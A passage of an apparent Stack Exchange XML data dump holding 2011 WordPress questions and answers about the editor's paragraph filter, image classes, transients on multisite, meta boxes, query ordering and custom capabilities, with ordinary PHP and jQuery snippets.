Tags="&lt;wp-admin&gt;&lt;uploads&gt;&lt;media&gt;&lt;media-upload&gt;&lt;network-admin&gt;" AnswerCount="2" />
  <row Id="21472" PostTypeId="2" ParentId="21469" CreationDate="2011-06-29T16:01:07.203" Score="1" ViewCount="" Body="&lt;p&gt;Here are &lt;a href=&quot;http://speckyboy.com/2009/02/19/12-wordpress-plugins-to-display-and-highlight-code-within-your-blog/&quot; rel=&quot;nofollow&quot;&gt;twelve options&lt;/a&gt;.  Choose which one is best for your specific instance (code used and version of word press).  Installing and managing a plugin is &lt;a href=&quot;http://codex.wordpress.org/Managing_Plugins&quot; rel=&quot;nofollow&quot;&gt;very easy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6608" LastActivityDate="2011-06-29T16:01:07.203" />
  <row Id="21473" PostTypeId="1" AcceptedAnswerId="21476" CreationDate="2011-06-29T16:10:43.970" Score="1" ViewCount="42" Body="&lt;p&gt;Normally when using a rich text editor, when you hit return (i.e. do a full paragraph return) Your text is wrapped i.e. &lt;code&gt;&amp;lt;p&amp;gt; my text &amp;lt;/p&amp;gt;&lt;/code&gt; however this does not happen in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to trigger this functionality?&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-06-29T16:35:28.607" Title="Why does the HTML editor not wrap my code in paragraph tags when I press enter" Tags="&lt;html&gt;&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="21474" PostTypeId="1" AcceptedAnswerId="21480" CreationDate="2011-06-29T16:13:43.393" Score="0" ViewCount="87" Body="&lt;p&gt;When I add an image to a post I want it to be in a div e.g. , and I want that to be done automatically, so I don't have to do that in HTML editor.&#xA;I don't want to use js to accomplish this and by the way I want to know how to automatically add custom classes to a image in a post. Cheers!&lt;/p&gt;&#xA;" OwnerUserId="6609" LastActivityDate="2011-06-30T10:18:18.457" Title="How to wrap every image in a post with a div?" Tags="&lt;posts&gt;&lt;customization&gt;&lt;html&gt;&lt;image&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21475" PostTypeId="2" ParentId="21469" CreationDate="2011-06-29T16:34:49.667" Score="2" ViewCount="" Body="&lt;p&gt;Check this one out, &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt; written by some core devs and based on this &lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-29T16:34:49.667" CommentCount="1" />
  <row Id="21476" PostTypeId="2" ParentId="21473" CreationDate="2011-06-29T16:35:28.607" Score="1" ViewCount="" Body="&lt;p&gt;This happens at the time the content is output the browser. At that point, the content is passed through several filters, one of which is called &lt;code&gt;wpautop&lt;/code&gt;. This filter function is defined in &lt;code&gt;wp-includes/formatting.php&lt;/code&gt;. In combination with the other default WordPress filters, this generally means that you can compose content in the HTML (non-wysiwyg) editor as if you were writing plain text, and it will format the final HTML output in a logical, intuitive manner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you can also feel free to manually compose HTML tags in your output, and WP will preserve your tags. There are some edge-cases that can get you sometimes (using non-standard tags or attributes), but for the most part, the editor and the filters are pretty smart.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-29T16:35:28.607" CommentCount="1" />
  <row Id="21478" PostTypeId="1" AcceptedAnswerId="21481" CreationDate="2011-06-29T16:40:12.487" Score="0" ViewCount="16" Body="&lt;p&gt;I need to switch WordPress's post context, sort of like &lt;code&gt;switch_to_blog()&lt;/code&gt; but for posts. What's the safest way to alter WordPress's global state and switch it back?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-06-29T16:47:37.903" Title="What's the safest way to switch and restore a post global?" Tags="&lt;posts&gt;&lt;globals&gt;" AnswerCount="1" />
  <row Id="21479" PostTypeId="2" ParentId="21458" CreationDate="2011-06-29T16:43:37.980" Score="3" ViewCount="" Body="&lt;p&gt;You can edit the &lt;code&gt;sidebar.php&lt;/code&gt; (or any &lt;code&gt;sidebar-xxx.php&lt;/code&gt; file, depends on your theme) and interface with your database using the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;wpdb class&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your historical events are in the same DB as wordpress you can use the wpdb class straight away, if they are in another DB you can instanciate a new wpdb class with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_db = new wpdb('user','pass','dbname','host');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-29T17:01:36.200" LastActivityDate="2011-06-29T17:01:36.200" CommentCount="2" />
  <row Id="21480" PostTypeId="2" ParentId="21474" CreationDate="2011-06-29T16:44:28.383" Score="0" ViewCount="" Body="&lt;p&gt;By default images already have unique class's but this depends on your theme. Use firebug and hover over the images and you should see stuff like &lt;code&gt;class=&quot;aligncenter size-full wp-image-1525&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the class or id or alter any attributes of the image you can use the &lt;code&gt;get_image_tag&lt;/code&gt; filter. For example, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_image_tag_class','my_custom_class');&#xA;&#xA;function my_custom_class($class){&#xA;$class='my_custom_name';&#xA;return $class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-29T16:44:28.383" CommentCount="2" />
  <row Id="21481" PostTypeId="2" ParentId="21478" CreationDate="2011-06-29T16:47:37.903" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts#Access_all_post_data&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;setup_postdata()&lt;/code&gt;&lt;/a&gt; to change and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_postdata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_reset_postdata()&lt;/code&gt;&lt;/a&gt; to roll back to original.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-29T16:47:37.903" CommentCount="2" />
  <row Id="21482" PostTypeId="2" ParentId="21352" CreationDate="2011-06-29T17:29:36.463" Score="1" ViewCount="" Body="&lt;p&gt;OK, I've made the changes Otto suggested and it's working nicely - thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var uploadClickHandler = function() {&#xA;    str = jQuery(this).attr('id');&#xA;    substring = str.substring(str.length, str.length - 1);&#xA;    id_to_pass = 'upload_image-' + substring;&#xA;    tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true');&#xA;    return false;&#xA;};&#xA;&#xA;jQuery(document).ready(function() {&#xA;&#xA;    // Find the number of elements using our unique button name&#xA;    var i = jQuery('[id^=&quot;upload_image_button&quot;]').size() + 1;&#xA;&#xA;    jQuery('a#add_media').click(function() {&#xA;        // Variable to store the HTML for adding a new image&#xA;        input_code = '&amp;lt;p&amp;gt;' +&#xA;            '&amp;lt;input id=&quot;upload_image-' + i + '&quot; name=&quot;upload_image[' + i + ']&quot; type=&quot;text&quot; size=&quot;36&quot; name=&quot;upload_image&quot; value=&quot;&quot; /&amp;gt;' +&#xA;            '&amp;lt;input id=&quot;upload_image_button-' + i + '&quot; type=&quot;button&quot; value=&quot;Upload Image&quot; /&amp;gt;' +&#xA;            '&amp;lt;/p&amp;gt;';&#xA;&#xA;        // Upon being clicked, append the input_code variable to our #upload_wrapper DIV&#xA;        jQuery(input_code).appendTo('#upload_wrapper');&#xA;&#xA;        // Use our uploadClickHandler function to add the iFrame functionality to our &quot;on-the-fly&quot; text boxes&#xA;        jQuery('[id=&quot;upload_image_button-' + i + '&quot;]').click(uploadClickHandler);&#xA;            i++;&#xA;    });&#xA;&#xA;    // Add click functionality to the pre-JS-created HTML text boxes on our main page&#xA;    jQuery('[id^=&quot;upload_image_button&quot;]').click(uploadClickHandler);&#xA;&#xA;    // iFrame and return value functionality&#xA;    window.send_to_editor = function(html) {&#xA;        imgurl = jQuery('img',html).attr('src');&#xA;        jQuery('#' + id_to_pass).val(imgurl);&#xA;        tb_remove();&#xA;    }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6344" LastEditorUserId="6344" LastEditorDisplayName="" LastEditDate="2011-06-29T18:03:20.927" LastActivityDate="2011-06-29T18:03:20.927" />
  <row Id="21483" PostTypeId="1" CreationDate="2011-06-29T17:32:07.893" Score="2" ViewCount="53" Body="&lt;p&gt;I created my own custom Wordpress theme for my website, everything is great. However, I have a strange need, I have one category which is kind of a 'placeholder' for content which is automated and used by an automated background process. Each time this process finds new content to put into that category I end up with another entry when I go to the admin screen to post or edit any of the posts which I manually enter. Since it is more than just myself, I really want a way to just completely hide that one category from being shown in the Admin 'Edit/Post' screen to keep it nice and lean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've poked around in some of the source code files, however, I have come to the point of frustration. Been searching around on Google and other places for any idea, yet, keep coming up empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this, or even IF it can be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Derek&lt;/p&gt;&#xA;" OwnerUserId="6610" LastActivityDate="2011-08-29T10:36:52.420" Title="Custom Theme Want To Remove One Category From All Displays" Tags="&lt;posts&gt;&lt;categories&gt;&lt;wp-admin&gt;&lt;admin-menu&gt;&lt;modifications&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21484" PostTypeId="1" AcceptedAnswerId="21486" CreationDate="2011-06-29T17:48:45.873" Score="1" ViewCount="37" Body="&lt;p&gt;we're using the Atlas HTML sitemap plugin, which caches the sitemap using the transients API with a call like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_transient( 'dmac_html_sitemap', $output, 60*60*24*7 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we also have a multi-site setup and I was wondering where the transients are stored and if WP multisite is keeping them separate.  It keeps options separate as each site(blog) has its own DB table prefix (wp_29_options for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that transients could be stored with memcached - so I'm guessing the back-end storage is pluggable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for the question is that we have custom code that duplicates sites.  If the transient is in the DB somewhere, it'll get copied and so I'll want to delete the cache for the newly duplicated site (part of the copy process also generates site-specific pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_transient( 'dmac_html_sitemap' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from our plugin's network page admin, which site's transient will that delete? all? none? only the main site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As Rarst points out below, when an external persistent cache plugin isn't being used, the transients are just stored as options (prefixed with &lt;em&gt;transient&lt;/em&gt;).  So, in that case they will be site-specific (as there is an options table for each site/blog).  Hence, the question now becomes - does the wp_cache_set() and friends keep cache items separated by site by using the blog_id or something in the cache key or not? (e.g. if stored in memcached or APC for example)&lt;/p&gt;&#xA;" OwnerUserId="6611" LastEditorUserId="6611" LastEditorDisplayName="" LastEditDate="2011-06-29T18:44:13.477" LastActivityDate="2011-06-29T18:44:13.477" Title="Transients API and multisite" Tags="&lt;multisite&gt;&lt;cache&gt;&lt;transient&gt;" AnswerCount="1" />
  <row Id="21485" PostTypeId="2" ParentId="18314" CreationDate="2011-06-29T17:53:12.937" Score="0" ViewCount="" Body="&lt;p&gt;Well, I faced the same need recently, but didn't know the answer either.  While not an answer to your question explicitly, an alternative is to just create the options pages under the 'main' blog's options and check if multisite is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not the ideal way, but if (like me) you were just creating an internal plugin for your own use, it is workable.  It also has the advantage that all the usual functions for admin pages are available - which they aren't yet in the global network admin page context.&lt;/p&gt;&#xA;" OwnerUserId="6611" LastActivityDate="2011-06-29T17:53:12.937" />
  <row Id="21486" PostTypeId="2" ParentId="21484" CreationDate="2011-06-29T17:56:23.523" Score="1" ViewCount="" Body="&lt;p&gt;Default &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transient API&lt;/a&gt; behavior is to use &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;Options API&lt;/a&gt; for storage and so behavior identical to options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if there is external object cache (declared by plugin or whatever) then they get stored using &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Object_Cache&quot; rel=&quot;nofollow&quot;&gt;object cache functions&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically it will work in scope of current site, unless there are plugins that make it work otherwise.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-29T17:56:23.523" CommentCount="4" />
  <row Id="21487" PostTypeId="1" AcceptedAnswerId="21490" CreationDate="2011-06-29T17:57:27.740" Score="2" ViewCount="115" Body="&lt;p&gt;I'm currently displaying custom taxonomies in a drop down menu. Each taxonomy has its own little wrapper in the sidebar. Is it possible to move the taxonomy to &lt;em&gt;inside&lt;/em&gt; of my custom write box for ease-of-use purposes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0jApe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-06T04:26:08.937" Title="Can custom taxonomies be displayed inside of a custom meta box?" Tags="&lt;custom-taxonomy&gt;&lt;custom-write-panel&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="21489" PostTypeId="2" ParentId="21483" CreationDate="2011-06-29T17:59:14.800" Score="0" ViewCount="" Body="&lt;p&gt;The only solution I could imagine is &lt;em&gt;removing, rewriting, replacing&lt;/em&gt; the meta box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// First remove the original one&#xA;function wpse21483_remove_catbox()&#xA;{&#xA;    remove_meta_box( 'post_categories_meta_box', 'post', 'side' );&#xA;}&#xA;add_action( 'admin_menu', 'wpse21483_remove_catbox' ); // not sure about the hook&#xA;&#xA;function wpse21483_new_catbox()&#xA;{&#xA;    // re-define - take a look at /wp-admin/include/metaboxes.php&#xA;}&#xA;// Hook the new one&#xA;add_action( 'add_meta_boxes', 'wpse21483_new_catbox' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Maybe you can use a the &lt;em&gt;filter&lt;/em&gt; for the categories dropdown&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse21483_alter_catbox( $output )&#xA;{&#xA;    global $current_screen;&#xA;    $id = $current_screen-&amp;gt;id;&#xA;    // abort if not on post screen&#xA;    if ( $id !== 'post' )&#xA;        return;&#xA;&#xA;    // search/replace the category&#xA;    return $output;&#xA;}&#xA;add_filter( 'wp_dropdown_cats', 'wpse21483_alter_catbox', 10, 1 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-29T18:10:04.337" LastActivityDate="2011-06-29T18:10:04.337" CommentCount="2" />
  <row Id="21490" PostTypeId="2" ParentId="21487" CreationDate="2011-06-29T18:05:00.130" Score="4" ViewCount="" Body="&lt;p&gt;The following is taken from a &quot;move author to publish box&quot; task, but it should give you a starting point. Next you should take a look at &quot;/wp-admin/edit-form-advanced.php&quot; where you'll find something about &lt;code&gt;get_object_taxonomies()&lt;/code&gt; to see how your stuff get's named, so you can remove and add stuff.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_remove_author_box() &#xA;{&#xA;    if ( ! is_admin() )&#xA;        return;&#xA;&#xA;    remove_meta_box( 'authordiv', 'post', 'normal' ); &#xA;}&#xA;add_action( 'admin_menu', 'wpse_remove_author_box' );&#xA;&#xA;function wpse_author_to_publish_box() &#xA;{&#xA;    if ( ! is_admin() )&#xA;        return;&#xA;&#xA;    global $post_ID;&#xA;    $post = get_post( $post_ID );&#xA;        ?&amp;gt;&#xA;        &amp;lt;div id=&quot;author&quot; class=&quot;misc-pub-section&quot; style=&quot;border-top-style:solid; border-top-width:1px; border-top-color:#EEEEEE; border-bottom-width:0px;&quot;&amp;gt;&#xA;            Author: &#xA;            &amp;lt;?php post_author_meta_box( $post ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php &#xA;}&#xA;add_action( 'post_submitbox_misc_actions', 'wpse_author_to_publish_box' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-29T18:05:00.130" CommentCount="2" />
  <row Id="21491" PostTypeId="1" CreationDate="2011-06-29T18:10:02.667" Score="-1" ViewCount="30" Body="&lt;p&gt;I have used a plugin for breadcrumb on my wordpress site.As breadcrumb is there then it is showing the complete path. But my problem is that it is showing the home page as blog. So can anyone tell me how to change the blog into home in breadcrumb. For breadcrumb I have used &lt;code&gt;Breadcrumb NavXT&lt;/code&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-06-29T19:13:26.750" Title="changing the home page name" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21492" PostTypeId="2" ParentId="11098" CreationDate="2011-06-29T18:11:38.890" Score="0" ViewCount="" Body="&lt;p&gt;Alright, I've solved the problem. Turns out that you should never use action=&quot;&quot; for searchform.php. It will work perfectly fine in terms of search results, but it will break the pagination, when using 3.1. Instead, you should use  for the form action.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-06-29T18:11:38.890" />
  <row Id="21493" PostTypeId="2" ParentId="2273" CreationDate="2011-06-29T18:16:35.470" Score="0" ViewCount="" Body="&lt;p&gt;Rarst is correct, using do_shortcode() will do the trick.  Not sure about apply_filters(), but probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is an issue with recursion, just de-register your shortcode before the loop and re-register it afterward so that your shortcode won't get evaluated by do_shortcode() in the loop.&#xA;(Or just hack up the content you pass to do_shortcode to delete text matching /[wpcodaslider.*]/ - note [ and ] need to be escaped in regexes)&lt;/p&gt;&#xA;" OwnerUserId="6611" LastActivityDate="2011-06-29T18:16:35.470" />
  <row Id="21494" PostTypeId="1" CreationDate="2011-06-29T18:28:47.367" Score="0" ViewCount="48" Body="&lt;p&gt;I'm trying to build a photostream that sorts the loop by the modified date of a post type. The goal being that as a post is updated with new attachments, it gets pushed to the front of the loop. My problem is that the loop is not being ordered properly. Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$photostream = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'inventory',&#xA;    'orderby' =&amp;gt; 'modified',&#xA;    'paged' =&amp;gt; $paged,  ) );&#xA;&#xA;if( $photostream-&amp;gt;have_posts() ) { &#xA;while( $photostream-&amp;gt;have_posts() ){&#xA;$photostream-&amp;gt;the_post(); &#xA;&#xA;    the_title('&amp;lt;span&amp;gt;', '&amp;lt;/span&amp;gt;, ');&#xA;&#xA;    $mediaargs = array( //check to see if has media&#xA;        'order'          =&amp;gt; 'ASC',      'post_type'      =&amp;gt; 'attachment',&#xA;        'post_parent'    =&amp;gt; $post-&amp;gt;ID,  'post_mime_type' =&amp;gt; 'image',&#xA;        'post_status'    =&amp;gt; null,       'numberposts'    =&amp;gt; -1, );&#xA;    $attachments = get_posts($mediaargs);&#xA;        if ($attachments) { &#xA;            echo do_shortcode('[gallery size=&quot;small&quot; columns=&quot;8&quot; link=&quot;file&quot;]');&#xA;            echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;'; &#xA;        }&#xA;&#xA;} } wp_reset_query();  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-06-29T19:30:08.493" LastActivityDate="2011-06-29T19:30:08.493" Title="Sorting loop by 'orderby' 'modified' not working?" Tags="&lt;loop&gt;&lt;sort&gt;" CommentCount="2" />
  <row Id="21495" PostTypeId="1" AcceptedAnswerId="21638" CreationDate="2011-06-29T18:40:11.237" Score="0" ViewCount="69" Body="&lt;p&gt;I'm having an interesting problem that I can't seem to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While creating a widget, I have created a select field with options that can be chosen on the widget screen. It all works perfectly fine, except when I save the widget, all of the options in the select field vanish. They all come back, with my chosen option saved, as soon as I refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for each of the select options looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;foreach ($posttypes as $option) {&#xA;    echo '&amp;lt;option id=&quot;' . $option-&amp;gt;name . '&quot;', $posttype == $option-&amp;gt;name ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $option-&amp;gt;name, '&amp;lt;/option&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, $posttypes is an array of post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the select fields are rendered, they look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;select name=&quot;option-name&quot; id=&quot;option-name&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;option-value&quot;&amp;gt;Option Value&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;option-value&quot;&amp;gt;Option Value&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;option-value&quot;&amp;gt;Option Value&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why they would vanish like this?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2418" LastEditorDisplayName="" LastEditDate="2011-06-30T14:04:38.933" LastActivityDate="2011-06-30T17:30:16.303" Title="SELECT field options disappear when saving widget" Tags="&lt;widgets&gt;&lt;options&gt;&lt;select&gt;&lt;field&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21497" PostTypeId="1" CreationDate="2011-06-29T18:54:21.100" Score="7" ViewCount="62" Body="&lt;p&gt;Is there any way to find out what moderators have approved a comment, and then display that information on the front-end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John says: &quot;This is a great article&quot;&#xA;- Approved by Admin1&lt;/p&gt;&#xA;" OwnerUserId="6613" LastActivityDate="2011-08-16T13:43:50.410" Title="Find out which moderator approved comment?" Tags="&lt;comments&gt;&lt;admin&gt;&lt;get-comments&gt;&lt;comment-meta&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" />
  <row Id="21498" PostTypeId="2" ParentId="21022" CreationDate="2011-06-29T18:57:41.587" Score="0" ViewCount="" Body="&lt;p&gt;I haven't personally used this, but what you may want to look at is &quot;add_rewrite_rule&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Rewrite_API/add_rewrite_rule&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Rewrite_API/add_rewrite_rule&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also don't forget to save out permalinks once you've changed them. &lt;/p&gt;&#xA;" OwnerUserId="4471" LastActivityDate="2011-06-29T18:57:41.587" CommentCount="1" />
  <row Id="21499" PostTypeId="2" ParentId="21024" CreationDate="2011-06-29T19:07:28.463" Score="0" ViewCount="" Body="&lt;p&gt;IMO a CPT shouldn't have Categories consider using a Type instead, you can come up with some unexpected behavior. But, to answer your question...can you post the code your using to register your CPT?&lt;/p&gt;&#xA;" OwnerUserId="4471" LastActivityDate="2011-06-29T19:07:28.463" />
  <row Id="21500" PostTypeId="2" ParentId="21491" CreationDate="2011-06-29T19:13:26.750" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://mtekk.us/code/breadcrumb-navxt/breadcrumb-navxt-doc/3/#advanced_use&quot; rel=&quot;nofollow&quot;&gt;http://mtekk.us/code/breadcrumb-navxt/breadcrumb-navxt-doc/3/#advanced_use&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-29T19:13:26.750" />
  <row Id="21502" PostTypeId="1" CreationDate="2011-06-29T19:32:09.540" Score="0" ViewCount="25" Body="&lt;p&gt;I'm looking for a plugin capable of execute a task (in my case, switch the sticky attibutte of certains) in a specific hour (for example 22:00 hrs), Anyone knows a plugin with those capabilities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3251" LastActivityDate="2011-07-02T17:41:56.573" Title="I'm looking for a plugin to execute a specific task a certain time" Tags="&lt;plugins&gt;&lt;cron&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21503" PostTypeId="1" AcceptedAnswerId="21509" CreationDate="2011-06-29T19:39:14.043" Score="0" ViewCount="92" Body="&lt;p&gt;Thanks to @Anu's &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21457/wp-update-post-example&quot;&gt;correction&lt;/a&gt; I now have a function to update_post_meta from the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something is wrong in my script however, because with the function below nothing is being displayed on the page. It only displays is a white screen. if I take out the &lt;code&gt;if ( empty($_POST) ||&lt;/code&gt; section the page template will display, but any changes I make to the form are not saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// top of page&#xA;if ( empty($_POST) || !wp_verify_nonce($_POST['name_of_nonce_field'],'name_of_my_action') )&#xA;    { //if fail nonce check, exit script&#xA;       exit;&#xA;    }&#xA;else :&#xA;    {&#xA;    global $post;&#xA;    $postid = $post-&amp;gt;ID;&#xA;    $data = $_POST['priceone'];&#xA;    update_post_meta($postid,'metakey',$data);&#xA;    }&#xA;endif;&#xA;&#xA;// in single.php&#xA;$priceone = get_post_meta($post-&amp;gt;ID, 'priceone', true);&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;   &amp;lt;?php wp_nonce_field('update_drw_postmeta','drw_inventory'); ?&amp;gt;&#xA;   &amp;lt;label&amp;gt;This is label&amp;lt;/label&amp;gt;&#xA;   &amp;lt;input type='text' name='priceone' value='&amp;lt;?php echo $priceone ?&amp;gt;' /&amp;gt;&#xA;   &amp;lt;input type='submit' value='save' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-29T20:31:10.623" Title="Front-end update_post_meta snippet displays white screen?" Tags="&lt;update-post-meta&gt;" AnswerCount="1" />
  <row Id="21504" PostTypeId="2" ParentId="21367" CreationDate="2011-06-29T19:43:20.013" Score="1" ViewCount="" Body="&lt;p&gt;I define a central var for the custom post type: &lt;code&gt;public $post_type_1 = 'archiv';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and use this on add new capabilities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $capabilities = array(&#xA;            'edit_post'          =&amp;gt; 'edit_' . $this-&amp;gt;post_type_1,&#xA;            'edit_posts'         =&amp;gt; 'edit_' . $this-&amp;gt;post_type_1 . 's',&#xA;            'edit_others_posts'  =&amp;gt; 'edit_others_' . $this-&amp;gt;post_type_1 . 's',&#xA;            'publish_posts'      =&amp;gt; 'publish_' . $this-&amp;gt;post_type_1 . 's',&#xA;            'read_post'          =&amp;gt; 'read_' . $this-&amp;gt;post_type_1,&#xA;            'read_private_posts' =&amp;gt; 'read_private_' . $this-&amp;gt;post_type_1 . 's',&#xA;            'delete_post'        =&amp;gt; 'delete_' . $this-&amp;gt;post_type_1&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also i add this new capabilties objects to the differnet default roles, only on activation of the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        foreach ( $this-&amp;gt;todo_roles as $role ) {&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'edit_'          . $this-&amp;gt;post_type_1 );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'edit_'          . $this-&amp;gt;post_type_1 . 's' );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'edit_others_'   . $this-&amp;gt;post_type_1 . 's' );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'publish_'       . $this-&amp;gt;post_type_1 . 's' );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'read_'          . $this-&amp;gt;post_type_1 );&#xA;            $wp_roles-&amp;gt;add_cap( $role, 'read_private_'  . $this-&amp;gt;post_type_1 . 's' );&#xA;            